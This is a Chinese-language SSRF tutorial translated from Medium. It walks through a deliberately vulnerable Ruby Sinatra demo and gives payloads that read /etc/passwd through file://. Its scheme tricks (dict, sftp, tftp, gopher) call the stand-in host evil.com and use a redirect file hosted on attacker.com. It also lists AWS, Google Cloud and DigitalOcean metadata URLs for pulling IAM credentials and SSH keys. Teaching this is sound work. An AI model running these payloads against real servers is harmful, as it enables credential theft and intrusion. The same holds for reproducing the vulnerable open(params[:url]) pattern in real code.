深入浅出SSRF,Part-1
什么是SSRF漏洞?
服务器端请求伪造( Server SideRequest Forgery,SSRF)是这样一种漏洞:攻击者能够从含有该漏洞的Web应用程序中发送精心构造的请求。对于这种类型的漏洞来说,最简单的一种攻击方式就是——攻击者要求服务器为其获取指定URL地址中的资源。
下面,我们来举例说明:
GET /?url=http://google.com/ HTTP/1.1
Host: example.com
这样的话,就是让example.com网站的服务器从http://google.com获取相关数据。
SSRF的类型:
SSRF漏洞主要分为两种,分别是:
- 向攻击者显示响应数据(基本类型)
- 不向攻击者显示响应数据(盲打类型)
下面,我们对这两种类型分别进行介绍。
基本类型
正如前面提到的,这种类型的漏洞会向攻击者显示响应信息,因此,当服务器从攻击者指定的URL处获取到相应的资源之后,会将响应信息返回给攻击者。
演示(这里将使用Ruby语言)
请读者安装以下程序包,并运行相应的代码:
gem install sinatra
require 'sinatra'
require 'open-uri'
get '/' do
format 'RESPONSE: %s', open(params[:url]).read
end
上述代码将在端口4567上运行一个服务器(这段代码摘自Jobert的文章)。
这样,我们就能设法打开相应的文件了,具体如下所示:
:http://localhost:4567/?url=contacts 将打开contacts文件,并将响应信息显示到前端
:http://localhost:4567/?url=/etc/passwd 将打开etc/passwd文件,并响应服务
:http://localhost:4567/?url=https://google.com将在服务器上向google.com发送请求,并显示响应信息
我们能用SSRF做什么?
- 从SSRF到反射型XSS
- 尝试通过各种URL Schema(例如file:///、dict://、ftp://、gopher://,等等)来读取内部数据并让服务器执行某些操作
- 扫描内部网络和端口
- 如果含有该漏洞的Web应用运行在云实例上的话,则可以尝试获取元数据
从SSRF到反射型XSS
为此,只需从外部站点获取一个文件即可,只要该文件含有相应的恶意payload,并且其内容类型为html。
例如: http://localhost:4567/?url=http://brutelogic.com.br/poc.svg
测试URL Schema
当我们发现SSRF漏洞后,首先要做的事情就是测试所有可用的URL Schema:
- file:///
- dict://
- sftp://
- ldap://
- tftp://
- gopher://
file://
这种URL Schema可以尝试从文件系统中获取文件:
http://example.com/ssrf.php?url=file:///etc/passwd
http://example.com/ssrf.php?url=file:///C:/Windows/win.ini
如果该服务器阻止对外部站点发送HTTP请求,或启用了白名单防护机制,只需使用如下所示的URL Schema就可以绕过这些限制:
dict://
这种URL Scheme能够引用允许通过DICT协议使用的定义或单词列表:
http://example.com/ssrf.php?dict://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 31126)
CLIENT libcurl 7.40.0
sftp://
在这里,Sftp代表SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol),这是一种与SSH打包在一起的单独协议,它运行在安全连接上,并以类似的方式进行工作。
http://example.com/ssrf.php?url=sftp://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 37146)
SSH-2.0-libssh2_1.4.2
ldap://或ldaps:// 或ldapi://
LDAP代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。
http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit
tftp://
TFTP(Trivial File Transfer Protocol,简单文件传输协议)是一种简单的基于lockstep机制的文件传输协议,它允许客户端从远程主机获取文件或将文件上传至远程主机。
http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET
evil.com:# nc -lvup 1337
Listening on [0.0.0.0] (family 0, port1337)
TESTUDPPACKEToctettsize0blksize512timeout3
gopher://
Gopher是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。
http://example.com/ssrf.php?url=http://attacker.com/gopher.php
gopher.php (host it on acttacker.com):-
<?php
header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');
?>
evil.com:# nc -lvp 1337
Listening on [0.0.0.0] (family 0, port1337)
Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 49398)
Hi
ssrf
test
有关更多信息,请参见此处。
扫描内部网络和端口
如果攻击对象在局域网中运行一些服务器(如Kibana、Elastic Search、MongoDB,等等),但是我们却无法直接从Internet访问它们,因为防火墙会阻止这些访问,那么,我们该如何是好呢?
别急,我们可以利用SSRF漏洞来访问它们。
攻击者可以运行内部IP并进行端口扫描,从而了解有关目标的更多信息,并将其用于进一步攻击。
有时,这甚至会导致远程代码执行攻击。
示例:假设攻击者发现了一台运行过时软件的内部主机,该主机存在已经公开曝光的RCE漏洞,这样的话,攻击者就可以利用该漏洞来执行代码。当然,这种方式也适用于其他类型的漏洞。
云实例
亚马逊:
如果您在Amazon Could中找到了SSRF漏洞,由于Amazon会公开一个内部服务,所以,每个EC2实例都可以查询有关该主机的元数据。如果在运行于EC2上的Web服务中发现了SSRF漏洞,则可以尝试发送下列请求:
http://169.254.169.254/latest/me ta-data/
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/me ta-data/iam/security-credentials/IAM_USER_ROLE_HERE
http://169.254.169.254/latest/me ta-data/iam/security-credentials/PhotonInstance
攻击者能够通过上面的方法来获取丰富的信息,如AWS密钥、SSH密钥等。
例如:
- http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/[INJECTIONPAYLOAD]
- http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/me ta-data/iam/security-credentials/flaws/
Google Cloud
对于Google Cloud来说,相关的攻击方法也是一样的,例如:
http://me tadata.google.internal/computeme tadata/v1beta1/instance/service-accounts/default/token
http://me tadata.google.internal/computeme tadata/v1beta1/project/attributes/ssh-keys?alt=json
进一步利用该漏洞的话,甚至可以接管相关的实例,详情请参阅-#341876
Digital Ocean
若要概览元数据,可以使用:
http://169.254.169.254/me tadata/v1.json
对于其他云实例,读者可以参阅这篇文章。
本文翻译自medium.com, 原文链接 。如若转载请注明出处。
最新评论